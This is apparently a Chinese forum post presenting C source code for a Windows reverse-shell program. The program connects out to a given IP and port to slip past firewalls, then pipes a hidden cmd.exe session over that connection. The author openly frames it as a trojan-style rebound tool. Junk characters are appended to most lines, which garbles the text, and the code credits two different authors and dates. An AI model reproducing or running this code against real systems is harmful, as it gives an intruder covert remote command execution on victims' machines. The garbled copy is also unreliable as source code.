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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 H]]UsY`  
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/* ============================== 1=U(ZX+u  
Rebound port in Windows NT 5a8[0&hA 2  
By wind,2006/7 Z"ce1cB  
===============================*/ k[_)5@2  
#include vI84= n  
#include W~" 'a9H/  
gteG*pi  
#pragma comment(lib,"wsock32.lib") ajr);xd  
_ ^ JhncL  
void OutputShell(); !V%h0OE\  
SOCKET sClient; whH_<@!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; JXT%@w>I  
Z}X oWT2f  
void main(int argc,char **argv) pt/UY<@yoN  
{ /Kw}R5l  
WSADATA stWsaData; Kp]\r-5UD>  
int nRet; z2.9l?"rfQ  
SOCKADDR_IN stSaiClient,stSaiServer; .8.4!6~@  
x6n(BMr  
if(argc != 3) a,$v;s/  
{ G`;YB  
printf("Useage:\n\rRebound DestIP DestPort\n"); Pn?,56SD=  
return; kdq<)>"  
} cA,`!dG2,  
+ConK>;  
WSAStartup(MAKEWORD(2,2),&stWsaData); &XvSAw+D@  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q4;%[7LU  
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stSaiClient.sin_family = AF_INET; jH5VrN*Q  
stSaiClient.sin_port = htons(0); ^ <$$h  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s (2/]f$  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6H ]rO3[8  
{ {zck Y  
printf("Bind Socket Failed!\n"); 4J~ZZ  
return; bUcEQGHcZ=  
} bU3P; a(  
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stSaiServer.sin_family = AF_INET; J2_~iC&;s  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B,x ohT  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \Fh#CI  
bmid;X|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fen~k#|l  
{  AhyV  
printf("Connect Error!"); UnE[FYx  
return; |>'.(  
} 13JZ\`ceb  
OutputShell(); *ku}.n  
} {s{ bnU  
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void OutputShell() x$SxGc~4gb  
{ <<SUIY@X  
char szBuff[1024]; vC [uEx:  
SECURITY_ATTRIBUTES stSecurityAttributes;  S6d&w6  
OSVERSIONINFO stOsversionInfo; qOqU CRUe:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Xn%ty@8  
STARTUPINFO stStartupInfo; H{d;, KfX  
char *szShell; vvi[+$M  
PROCESS_INFORMATION stProcessInformation; 7]8nW!h;  
unsigned long lBytesRead; Y3 V9  
ZFxa2J~;  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7{BTtUMAC  
&^7^7:Y=?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Yk^clCB{A(  
stSecurityAttributes.lpSecurityDescriptor = 0; prdc}~J8{  
stSecurityAttributes.bInheritHandle = TRUE; RV_(T+  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); K*/X{3J;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zbL8 pp  
`w(~[`F t  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qlU"v)Mx  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /19ZyQw9  
stStartupInfo.wShowWindow = SW_HIDE; ]?<=DHn  
stStartupInfo.hStdInput = hReadPipe; f(*ygI  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2?}5U)Hg  
\RF{ITV$kD  
GetVersionEx(&stOsversionInfo); xb (Cd  
;1MRBk,  
switch(stOsversionInfo.dwPlatformId) |19zjhl  
{ C f(g  
case 1: dI%#cf1  
szShell = "command.com"; S|Yz5)*  
break; vmGGdj5aI  
default: a W9_[#z5  
szShell = "cmd.exe"; 'V`Hp$r  
break; e h6\y7 9g  
} v1`*}.#  
+ t JEG:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /@O$jlX5I  
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send(sClient,szMsg,77,0); GF/!@N  
while(1) i.5?b/l0  
{ 8q/3}AnI  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S)\Yc=~h  
if(lBytesRead) L#~z#  
{ w|G4c^KH  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0Q{^BgW  
send(sClient,szBuff,lBytesRead,0); oD8X]R, H  
} .kqH}{hf  
else "Nh}_jO  
{ 3$n O@rOS  
lBytesRead=recv(sClient,szBuff,1024,0); (Wu J9  
if(lBytesRead<=0) break; c?t,,\o(}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x!`~+f.6  
} mM;5UPbZ  
} K)&oDwk  
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return; r"hogmFD;  
}
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